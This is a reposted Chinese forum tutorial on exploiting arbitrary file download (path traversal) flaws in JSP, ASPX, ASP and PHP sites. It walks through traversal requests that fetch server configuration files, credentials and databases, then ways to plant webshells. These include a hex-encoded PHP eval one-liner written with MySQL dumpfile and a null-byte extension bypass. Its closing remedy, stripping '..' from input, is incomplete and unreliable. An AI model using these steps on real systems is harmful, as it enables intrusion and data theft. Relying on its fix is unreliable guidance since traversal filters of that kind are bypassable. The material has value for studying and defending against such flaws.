搜索

[20800] 2017-06-25_任意文件下载漏洞

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-06-25_任意文件下载漏洞 任 意 文 件 下 载 漏 洞 L e m o n S e c   2 0 1 7 - 0 6 - 2 5 一 、   概 述 随 着 攻 防 技 术 的 普 及 ， 常 见 的 w e b 漏 洞 ， 如 s q l 注 入 、 x s s 、 上 传 漏 洞 ， 基 本 上 ， 都 广 为 人 知 ， 介 绍 其 利 用 过 程 的 文 章 和 工 具 随 处 可 见 ， 一 般 重 视 安 全 的 网 站 ， 代 码 中 都 加 了 防 范 这 些 漏 洞 代 码 。 但 是 本 文 讲 的 任 意 文 件 下 载 漏 洞 常 常 不 被 人 重 视 ， 而 且 该 利 用 过 程 很 难 用 工 具 实 现 ， 因 此 总 结 一 下 ， 任 意 文 件 下 载 漏 洞 的 利 用 过 程 ， 其 危 害 有 时 是 非 常 致 命 。 二 、   位 置 一 般 的 网 站 都 提 供 下 载 文 件 功 能 ， 常 规 的 思 路 是 使 用 一 个 动 态 页 面 （ p h p 、 j s p 、 a s p x 、 a s p 等 ） 将 待 下 载 文 件 作 为 参 数 一 般 参 数 名 称 为 f i l e n a m e ， 如 . p h p ? f i l e n a m e / . j s p ? f i l e n a m e 等 。 一 般 实 现 过 程 是 ， 在 根 据 参 数 f i l e n a m e 的 值 ， 获 得 该 文 件 在 网 站 上 的 绝 对 路 径 ， 读 取 文 件 ， 然 后 是 直 接 发 送 给 客 户 端 下 载 。 一 般 实 现 代 码 如 下 : ( j s p 实 现 文 件 下 载 的 代 码 ， 其 它 语 言 实 现 过 程 类 似 ) < % @   p a g e   c o n t e n t T y p e = " a p p l i c a t i o n ; "   % > < % @   p a g e   i m p o r t = " j a v a . u t i l . * , j a v a . i o . * , j a v a . s q l . * , j a v a . t e x t . * " % > < % r e s p o n s e . s e t C o n t e n t T y p e ( " a p p l i c a t i o n / u n k n o w n " ) ; / / u r l 参 数 传 入 文 件 名     S t r i n g   f i l e n a m e   = j a v a . n e t . U R L D e c o d e r . d e c o d e ( r e q u e s t . g e t P a r a m e t e r ( " f i l e N a m e " ) ) ;     S t r i n g   f i l e n a m e 2   =   " " ;     f i l e n a m e 2   =   f i l e n a m e ; / / 获 得 文 件 绝 对 路 径     F i l e   f i l e   =   n e w     F i l e ( " / h o m e / z z a n g / w w w / j s p h o m e / j m / t h e s i s U p l o a d / " + f i l e n a m e ) ;                 b y t e   b [ ]   =   n e w   b y t e [ ( i n t ) f i l e . l e n g t h ( ) ] ;     / / 将 待 下 载 文 件 直 接 返 回 给 客 户 端 r e s p o n s e . s e t H e a d e r ( " C o n t e n t - D i s p o s i t i o n " ,   " a t t a c h m e n t ; f i l e n a m e = "   +   f i l e n a m e 2   +   " ; " ) ;     i f   ( f i l e . i s F i l e ( ) ) {     B u f f e r e d I n p u t S t r e a m   f i n   =   n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( f i l e ) ) ;     B u f f e r e d O u t p u t S t r e a m   o u t s   =   n e w   B u f f e r e d O u t p u t S t r e a m ( r e s p o n s e . g e t O u t p u t S t r e a m ( ) ) ;     i n t   r e a d   =   0 ;     w h i l e   ( ( r e a d   =   f i n . r e a d ( b ) )   ! =   - 1 ) {     o u t s . w r i t e ( b , 0 , r e a d ) ; }     o u t s . c l o s e ( ) ;     f i n . c l o s e ( ) ; } % > 该 代 码 实 现 了 将 文 件 下 载 到 客 户 端 ， 但 是 如 果 没 有 对 传 入 的 参 数 f i l e n a m e 进 行 过 滤 ， 就 可 以 实 现 下 载 服 务 任 何 文 件 ， 产 生 任 意 文 件 下 载 漏 洞 。 三 、   判 断 方 法 判 断 过 程 很 简 单 : 1 .   在 路 径 中 添 加 a a / . . / 看 是 否 可 以 回 溯 原 链 接 : h t t p : / / e d u . t e s t . n e t / t e s t / s t u d e n t _ d e m o / Q u e s t i o n _ D o w n L o a d . p h p ? f i l e n a m e = 2 0 0 6 1 0 1 8 8 4 1 0 5 _ R e p l y . d o c 修 改 : h t t p : / / e d u . t e s t . n e t / t e s t / s t u d e n t _ d e m o / Q u e s t i o n _ D o w n L o a d . p h p ? f i l e n a m e = a a / . . / 2 0 0 6 1 0 1 8 8 4 1 0 5 _ R e p l y . d o c 两 次 下 载 文 件 相 同 ， 继 续 测 试 2 .   确 定 是 否 可 以 下 载 任 意 文 件 修 改 请 求 为 : h t t p : / / e d u . t e s t . n e t / t e s t / s t u d e n t _ d e m o / Q u e s t i o n _ D o w n L o a d . p h p ? f i l e n a m e = t e s t / s t u d e n t _ d e m o / Q u e s t i o n _ D o w n L o a d . p h p 试 图 下 载 该 下 载 文 件 的 源 代 码 ， 如 果 提 示 不 存 在 ， 则 可 能 是 任 意 文 件 下 载 漏 洞 ， 在 路 径 中 添 加 . . / , 直 到 下 载 到 该 文 件 为 止 。 如 果 提 示 类 型 错 误 ， 可 能 不 是 任 意 文 件 下 载 漏 洞 。 最 终 下 载 成 功 的 请 求 h t t p : / / e d u . t e s t . n e t / t e s t / s t u d e n t _ d e m o / Q u e s t i o n _ D o w n L o a d . p h p ? f i l e n a m e = . . / . . / . . / t e s t / s t u d e n t _ d e m o / Q u e s t i o n _ D o w n L o a d . p h p 四 、   利 用 过 程 该 漏 洞 不 像 其 他 漏 洞 那 样 有 通 用 的 利 用 方 法 和 相 关 工 具 ， 本 漏 洞 的 利 用 过 程 与 具 体 的 网 站 架 构 关 系 很 大 ， 需 要 了 解 常 见 的 网 站 的 架 构 ， 如 网 站 的 配 置 文 件 位 置 等 信 息 ， 下 面 分 别 介 绍 此 漏 洞 在 常 见 几 种 网 站 中 利 用 方 法 。 利 用 此 漏 洞 无 论 什 么 站 点 ， 第 一 步 都 是 确 定 网 站 的 根 目 录 。 因 此 首 先 介 绍 一 下 怎 样 确 定 站 点 根 目 录 。 第 一 步 : 确 定 网 站 的 根 目 录 ， 一 般 待 下 载 的 文 件 都 是 放 到 网 站 的 子 文 件 夹 下 ， 子 文 件 夹 数 目 不 定 ， 因 此 需 要 使 用 路 径 回 溯 ( . . / ) 确 定 网 站 的 根 目 录 。 例 如 : 一 个 下 载 点 : h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = % C 4 % E A % B 6 % C 8 % C 9 % F 3 % B A % C B % B 1 % E D . d o c 可 以 下 载 文 件 。 可 以 看 到 d o w n l o a d . a s p x 在 网 站 根 目 录 ， 因 此 下 载 h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = d o w n l o a d . a s p x 出 错 : 使 用 回 溯 ( . . / ) 确 定 网 站 根 目 录 h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = . . / d o w n l o a d . a s p x 失 败 h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = . . / . . / d o w n l o a d . a s p x 下 载 成 功 ， 可 以 确 定 该 下 载 点 ， 两 次 回 溯 就 可 以 回 到 根 目 录 。 打 开 文 件 看 一 下 内 容 : 可 以 确 定 下 载 的 文 件 是 正 确 的 。 对 于 该 漏 洞 对 于 不 同 的 网 站 利 用 方 法 有 些 差 异 。 因 此 下 面 分 别 讲 述 : 1 、   j s p 站 点 该 部 分 主 要 讲 述 两 种 简 单 的 利 用 方 法 ， 下 载 t o m c a t 的 配 置 文 件 和 下 载 网 站 本 身 的 源 代 码 。         1 ） J s p 站 点 的 一 个 下 载 点 : h t t p : / / w w w . t e s t . c n / d o w n . j s p ? f i l e n a m e = % D 5 % D 0 % B 1 % E A % C F % E E % C 4 % B F % C 9 % E A % C 7 % E B 1 . d o c & p a t h = C : / P r o g r a m % 2 0 F i l e s / A p a c h e % 2 0 S o f t w a r e % 2 0 F o u n d a t i o n / T o m c a t % 2 0 6 . 0 / w e b a p p s / Z T B W Z / u p l o a d / % D 5 % D 0 % B 1 % E A % C F % E E % C 4 % B F % C 9 % E A % C 7 % E B 1 . d o c 可 以 看 到 该 下 载 点 ， 有 两 个 参 数 ， 其 实 是 一 样 的 ， 很 容 易 看 出 p a t h 是 待 下 载 文 件 的 在 服 务 器 上 的 绝 对 路 径 。 而 且 网 站 放 到 t o m c a t 的 安 装 路 径 下 ， 这 一 点 很 重 要 ， 说 明 可 以 直 接 访 问 t o m c a t 的 m a n a g e r / h t m l 请 求 :   h t t p : / / w w w . t e s t . c n / m a n a g e r / h t m l 可 以 看 到 访 问 正 常 ， 输 入 用 户 名 和 密 码 就 可 以 登 录 。 因 此 下 一 步 就 是 下 载 t o m c a t 的 配 置 文 件 t o m c a t - u s e r s . x m l （ 里 面 保 存 登 录 的 用 户 名 和 密 码 ） 首 先 需 要 对 t o m c a t 配 置 有 些 了 解 ， 具 体 配 置 如 下 : t o m c a t - u s e r s . x m l   在 c o n f 文 件 下 ， 这 样 就 可 以 直 接 使 用 下 载 点 下 载 该 文 件 。 因 此 构 造 u r l 如 下 : h t t p : / / w w w . t e s t . c n / d o w n . j s p ? f i l e n a m e = t o m c a t - u s e r s . x m l & p a t h = C : / P r o g r a m % 2 0 F i l e s / A p a c h e % 2 0 S o f t w a r e % 2 0 F o u n d a t i o n / T o m c a t % 2 0 6 . 0 / c o n f / t o m c a t - u s e r s . x m l
下 载 成 功 : 打 开 该 文 件 获 得 用 户 名 和 密 码 登 录 成 功 下 面 直 接 ， 上 传 一 个 w a r 文 件 ， 就 可 以 获 得 w e b s h e l l , 完 成 了 一 次 简 单 的 测 试 。 2 ） 下 载 网 站 本 身 源 代 码 下 载 点 :   h t t p : / / t e s t . e d u . c n / f i l e . d o ? m e t h o d = d o w n F i l e & f i l e N a m e = 2 0 0 8 0 5 0 5 0 9 4 1 4 4 . d o c 测 试 一 下 不 能 访 问 h t t p : / / t e s t . e d u . c n / m a n a g e r / h t m l 上 述 方 法 失 效 。 首 先 下 载 网 站 的 配 置 文 件 j s p 的 配 置 文 件 放 在 根 目 录 W E B - I N F / W e b . x m l 下 ( 一 般 都 有 很 多 内 容 , 有 时 含 有 数 据 库 连 接 用 户 名 和 密 码 等 关 键 信 息 ) 访 问 : h t t p : / / t e s t / f i l e . d o ? m e t h o d = d o w n F i l e & f i l e N a m e = . . / W E B - I N F / W e b . x m l 下 载 后 打 开 , 关 键 内 容 : 后 台 使 用 f c k e d i t o r 编 辑 器 ， 该 编 辑 器 漏 洞 很 多 ， 直 接 使 用 该 编 辑 器 直 接 上 传 路 径 h t t p : / / t e s t / / a d m i n / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? T y p e = i m a g e & C o n n e c t o r = c o n n e c t o r s / j s p / c o n n e c t o r 选 择 一 个 j s p s h e l l 直 接 上 传 ， 获 得 w e b s h e l l ， 没 有 任 何 限 制 系 统 权 限 ， 渗 透 完 成 。 2   a s p x 站 点 1 ）   利 用 s q l   s e r v e r 渗 透 对 于 a s p x 站 点 一 般 后 台 都 是 s q l   s e r v e r 数 据 库 ， 因 此 利 用 该 漏 洞 的 最 简 单 的 方 法 是 直 接 获 得 数 据 库 密 码 ， 直 接 登 录 数 据 库 ， 利 用 s q l   s e r v e r 完 成 渗 透 。 h t t p : / / w w w . t e s t . o r g / D o w n L o a d F i l e L o w . a s p x ? F i l e N a m e = A c c o m p a n y i n g _ P e r s o n s _ T o u r _ P r o g r a m . p d f 首 先 确 定 网 站 根 目 录 下 载 w e b . c o n f i g 文 件 ， a s p x 站 点 用 根 目 录 下 的 w e b . c o n f i g 文 件 保 存 配 置 信 息 尝 试 确 定 根 目 录 : h t t p : / / w w w . t e s t . o r g / D o w n L o a d F i l e L o w . a s p x ? F i l e N a m e = . . / w e b . c o n f i g 错 误 信 息 : 该 错 误 信 息 ， 确 定 网 站 的 绝 对 路 径 （ 在 后 面 的 差 异 备 份 用 到 ） h t t p : / / w w w . t e s t . o r g / D o w n L o a d F i l e L o w . a s p x ? F i l e N a m e = . . / . . / w e b . c o n f i g 打 开 配 置 文 件 找 到 连 接 数 据 库 项 : 判 断 s q l   s e r v e r   是 否 可 以 远 程 连 接 可 以 远 程 连 接 使 用 s q l   s e r v e r 连 接 服 务 器 登 录 成 功 : 已 经 获 得 网 站 的 绝 对 路 径 ， 直 接 使 用 差 异 备 份 获 得 s h e l l ， 即 可 . 使 用 菜 刀   连 接 一 句 话 连 接 成 功 完 成 渗 透 。 2 ）   下 载 d l l 文 件 A s p x 站 点 一 般 都 会 对 后 台 源 代 码 进 行 编 译 封 装 ， 保 存 到 d l l 文 件 中 ， 放 到 网 站 根 目 录 的 B i n 文 件 夹 下 ， 因 此 ， 可 以 利 用 下 载 点 下 载 d l l 文 件 ， 获 得 网 站 源 代 码 。 一 个 下 载 点 ： w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = % C 4 % E A % B 6 % C 8 % C 9 % F 3 % B A % C B % B 1 % E D . d o c 两 次 回 溯 确 定 网 站 的 根 目 录 发 现 数 据 库 连 接 失 败 ， 不 能 使 用 上 述 方 法 ， 因 此 ， 尝 试 通 过 下 载 源 码 ， 渗 透 。 首 先 下 载 D o w n L o a d . a s p x 文 件 ， 主 要 是 想 查 看 这 个 a s p x 站 点 是 否 将 源 代 码 放 到 d l l 文 件 ， 这 样 的 话 就 可 以 直 接 下 载 d l l 获 得 整 站 ( 不 准 确 ) 的 源 代 码 。 下 载 后 打 开 :   h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = . . / . . / D o w n L o a d . a s p x 在 此 尝 试 下 载 对 应 的 D o w n L o a d . a s p x . c s 文 件 h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = . . / . . / D o w n L o a d . a s p x . c s 失 败 ， 说 明 本 站 点 的 源 代 码 放 到 d l l 文 件 中 ， 并 且 D o w n L o a d . a s p x 对 应 的 源 代 码 是 x k c m s . w e b F o r m . D o w n L o a d ， 现 在 主 要 来 猜 解 一 下 d l l 文 件 名 ， 由 这 个 命 令 空 间 x k c m s . w e b F o r m . D o w n L o a d 可 以 知 道 D o w n L o a d 不 是 ， 只 能 一 个 一 个 猜 测 。 h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = . . / . . / b i n / x k c m s . d l l h t t p : / / w w w . t e s t . c o m . c n / D o w n L o a d . a s p x ? f i l e N a m e = . . / . . / b i n / w e b F o r m . d l l 猜 测 成 功 ， d l l 是 被 编 译 过 ， 直 接 使 用 . n e t   r e f l e c t o r 工 具 打 开 编 译 后 的 d l l 文 件 。 获 得 网 站 源 代 码 如 下 : 首 先 看 一 下 ， d o w n l o a d . a s p x 文 件 对 应 实 现 代 码 : 可 以 看 出 ， 没 有 对 f i l e N a m e 参 数 做 任 何 过 滤 直 接 下 载 请 求 文 件 ， 导 致 任 意 文 件 下 载 漏 洞 。 当 然 最 关 心 的 还 是 网 站 是 否 存 在 其 他 漏 洞 ， 最 喜 欢 的 当 然 是 上 传 漏 洞 。 找 到 网 站 的 上 传 位 置 该 上 传 页 面 没 有 对 上 传 文 件 进 行 过 滤 导 致 可 以 直 接 上 传 ， 测 试 一 下 : 访 问 上 传 页 面 : 选 择 a s p x 后 缀 文 件 然 后 到 保 存 上 传 文 件 的 路 径 下 查 看 是 否 上 传 成 功 ， 可 见 上 传 文 件 成 功 ， 直 接 将 上 传 文 件 内 容 ， 改 成 a s p x 代 码 ， 即 可 获 得 w e b s h e l l . 当 然 这 是 一 个 特 例 ， 注 意 安 全 的 网 站 都 不 会 这 么 差 的 ， 但 是 一 般 拿 到 源 码 总 会 找 到 漏 洞 ， 只 要 有 时 间 … 就 不 在 举 例 子 了 . 3 . a s p 站 点 一 般 的 a s p 站 点 都 是 a c c e s s 数 据 库 （ 连 接 s q l   s e r v e r   直 接 可 以 参 考 a s p x 站 点 的 利 用 方 法 ） 。 而 a c c e s s 数 据 库 可 以 直 接 下 载 ， 因 此 利 用 该 漏 洞 比 较 简 便 的 方 法 就 是 直 接 下 载 a c c e s s 数 据 库 ， 找 到 管 理 员 密 码 登 陆 后 台 ， 利 用 后 台 的 上 传 功 能 ， 上 传 s h e l l . 一 个 a s p 下 载 点 h t t p : / / w w w . t e s t c n / G r a d u a t e S c h o o l / d l s d / d o w n l o a d . a s p ? f i l e n a m e = 0 1 2 % C 5 % A 9 % B 2 % F A % C 6 % B 7 % B C % D 3 % B 9 % A 4 % C B % F 9 . d o c 确 定 站 点 根 目 录 : h t t p : / / w w w . t e s t c n / G r a d u a t e S c h o o l / d l s d / d o w n l o a d . a s p ? f i l e n a m e = . . / . . / G r a d u a t e S c h o o l / d l s d / d o w n l o a d . a s p 下 一 个 步 ， 找 到 网 站 与 数 据 库 操 作 的 动 态 页 面 ， 动 态 页 面 中 一 般 使 用 i n c l u d e 包 含 连 接 数 据 库 的 配 置 文 件 。 找 到 后 台 登 陆 入 口 h t t p : / / w w w . t e s t c n / j i a n s h e n / F 8 9 A 1 /   A d m i n _ l o g i n . a s p 下 载 该 登 陆 界 面 : h t t p : / / w w w . t e s t c n / G r a d u a t e S c h o o l / d l s d / d o w n l o a d . a s p ? f i l e n a m e = . . / . . /   j i a n s h e n / F 8 9 A 1 /   A d m i n _ l o g i n . a s p 打 开 下 载 后 文 件 ： 可 以 确 定 数 据 库 连 接 文 件 在 i n c / c o n n . a s p 中 下 载 该 文 件 h t t p : / / w w w . t e s t c n / G r a d u a t e S c h o o l / d l s d / d o w n l o a d . a s p ? f i l e n a m e = . . / . . /   j i a n s h e n / F 8 9 A 1 /   i n c / c o n n . a s p 打 开 该 文 件         可 以 看 到 数 据 库 路 径 。 h t t p : / / w w w . t e s t c n / j i a n s h e n / d a t a b a s e / a d s f k l d f o g o w e r j n o k f d s l w e j h d f s j h k . m d b       直 接 下 载 失 败 。 应 该 是 做 了 限 制 。 使 用 下 载 点 下 载
h t t p : / / w w w . t e s t c n / G r a d u a t e S c h o o l / d l s d / d o w n l o a d . a s p ? f i l e n a m e = . . / . . /   j i a n s h e n / d a t a b a s e / a d s f k l d f o g o w e r j n o k f d s l w e j h d f s j h k . m d b 打 开 数 据 库 ， 获 得 管 理 员 用 户 名 和 密 码 ( 密 码 m d 5 加 密 ) 弱 口 令 ， 破 解 获 得 密 码 ， 登 录 后 台 找 到 上 传 位 置 下 载 该 文 件 ， 里 面 使 用 通 用 的 上 传 文 件 ， 存 在 二 次 上 传 ， 构 造 二 次 上 传 页 面 ： 选 择 两 个 文 件 上 传 ， 即 可 获 得 w e b s h e l l . 4 . p h p 站 点 p h p 一 般 是 m y s q l 数 据 库 ，   一 般 m y s q l 数 据 库 禁 止 远 程 连 接 ， 但 是 可 以 使 用 p h p M y A d m i n 进 行 管 理 。 w w w . t e s t . e d u . t w / d o w n l o a d . p h p ? f i l e n a m e = . . / c o n f / c o n f i g . p h p   & d i r = / & t i t l e = c o n f i g . p h p 下 载 获 得 m y s q l 数 据 库 的 用 户 名 和 密 码 是 r o o t 权 限 直 接 使 用 p h p M y A d m i n 登 录 h t t p : / / w w w . t e s t . e d u . t w / p h p M y A d m i n / i n d e x . p h p 直 接 使 用 m y s q l 导 出 文 件 功 能 导 出 一 句 话 s e l e c t   0 x 3 C 3 F 7 0 6 8 7 0 2 0 6 5 7 6 6 1 6 C 2 8 2 4 5 F 5 0 4 F 5 3 5 4 5 B 6 3 6 D 6 4 5 D 2 9 3 F 3 E   i n t o   d u m p f i l e   ' / h o m e / w e b a d m / p u b l i c _ h t m l / a p p / t e s t . p h p ' 使 用 菜 刀 连 接 完 成 一 次 渗 透 测 试 。 5 . 通 用 方 法 上 面 在 不 同 类 型 站 点 中 利 用 该 漏 洞 ， 都 是 利 用 各 种 站 点 本 身 的 配 置 信 息 完 成 的 ， 当 上 述 方 法 都 失 败 时 ， 下 载 点 就 会 将 黑 盒 渗 透 过 程 变 成 白 盒 渗 透 过 程 ， 就 是 下 载 源 代 码 ， 找 b u g ， 对 于 每 种 站 点 都 是 一 样 的 。 在 此 省 略 了 .   五 、   绕 过 简 单 限 制 方 法 看 到 有 些 站 点 ， 对 该 漏 洞 的 防 范 只 是 简 单 判 断 文 件 后 缀 名 ， 例 如 如 下 所 示 : < ? p h p i n c l u d e (   " i n i t . i n c . p h p "   ) ; g e t _ r e f e r e r (   f a l s e   ) ; i f   (   e m p t y (   $ _ G E T [ ' f i l e n a m e ' ]   )   | |   e m p t y (   $ _ G E T [ ' t i t l e ' ]   )   | |   e m p t y (   $ _ G E T [ ' d i r ' ]   )   ) { e r r o r _ d i s p l a y (   t _ (   " 缺 少 檔 案 下 載 參 數 "   )   ) ; } $ f i l e _ n a m e   =   $ _ G E T [ ' f i l e n a m e ' ] ; $ f i l e _ d o w n l o a d   =   u p l o a d p a t h (   ) . " / " . $ _ G E T [ ' d i r ' ] . " / " . $ f i l e _ n a m e ; $ f i l e _ e x t e n s i o n   =   g e t _ f i l e _ e x t e n s i o n (   $ f i l e _ n a m e   ) ; i f   (   s t r p o s (   $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ,   " M S I E "   )   ) { $ f i l e _ s a v e   =   u t f 8 t o b i g 5 (   $ _ G E T [ ' t i t l e ' ]   ) . " . " . $ f i l e _ e x t e n s i o n ; } e l s e { $ f i l e _ s a v e   =   $ _ G E T [ ' t i t l e ' ] . " . " . $ f i l e _ e x t e n s i o n ; } $ f i l e _ s a v e   =   e r e g _ r e p l a c e (   " [ / : * ? " < > | ] " ,   " _ " ,   $ f i l e _ s a v e   ) ; i f   (   $ f i l e _ e x t e n s i o n   = =   " p h p "   )   / / 这 里 对 文 件 后 缀 进 行 判 断 { e x i t (   " < s t r o n g > C a n n o t   b e   u s e d   f o r   " . $ f i l e _ e x t e n s i o n . "   f i l e s ! < / s t r o n g > "   ) ; } $ m i m e T y p e   =   g e t _ f i l e _ m i m e t y p e (   $ f i l e _ n a m e   ) ; i f   (   s t r p o s (   $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ,   " M S I E   5 "   )   | |   s t r p o s (   $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ,   " O p e r a   7 "   )   ) { $ m i m e T y p e   =   " a p p l i c a t i o n / x - d o w n l o a d " ; } o b _ e n d _ c l e a n (   ) ; h e a d e r (   " P r a g m a :   p u b l i c "   ) ; h e a d e r (   " E x p i r e s :   0 "   ) ; h e a d e r (   " C a c h e - C o n t r o l :   m u s t - r e v a l i d a t e ,   p o s t - c h e c k = 0 ,   p r e - c h e c k = 0 "   ) ; h e a d e r (   " C a c h e - C o n t r o l :   p u b l i c "   ) ; h e a d e r (   " C o n t e n t - D e s c r i p t i o n :   F i l e   T r a n s f e r "   ) ; h e a d e r (   " C o n t e n t - T y p e :   " . $ m i m e T y p e   ) ; h e a d e r (   " C o n t e n t - D i s p o s i t i o n :   a t t a c h m e n t ;   f i l e n a m e = " . $ f i l e _ s a v e   ) ; h e a d e r (   " C o n t e n t - T r a n s f e r - E n c o d i n g :   b i n a r y "   ) ; h e a d e r (   " C o n t e n t - L e n g t h :   " . f i l e s i z e (   $ f i l e _ d o w n l o a d   )   ) ; @ r e a d f i l e (   @ $ f i l e _ d o w n l o a d   ) ; ? > 但 是 这 样 同 样 可 以 下 载 ， 简 单 实 用 % 0 0 t x t 就 可 以 绕 过 限 制 ， 继 续 下 载 。 绕 过 其 它 不 安 全 防 范 防 范 待 续 … . 五 、   漏 洞 修 复 从 上 面 的 利 用 过 程 可 以 看 出 ， 在 使 用 该 漏 洞 进 行 渗 透 过 程 中 ， 需 要 利 用 到 路 径 回 溯 符 . . / 跳 出 程 序 本 身 的 限 制 目 录 实 现 下 载 任 意 文 件 ， 因 此 只 要 在 下 载 前 对 传 入 的 参 数 进 行 过 滤 ， 直 接 将 . . 替 换 成 空 ， 就 可 以 简 单 实 现 防 范 的 目 的 。 当 然 最 好 还 是 可 以 对 待 下 载 文 件 类 型 进 行 检 查 ， 判 断 是 否 允 许 下 载 类 型 。 查 看 更 多 文 章 ， 关 注 下 方 二 维 码

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理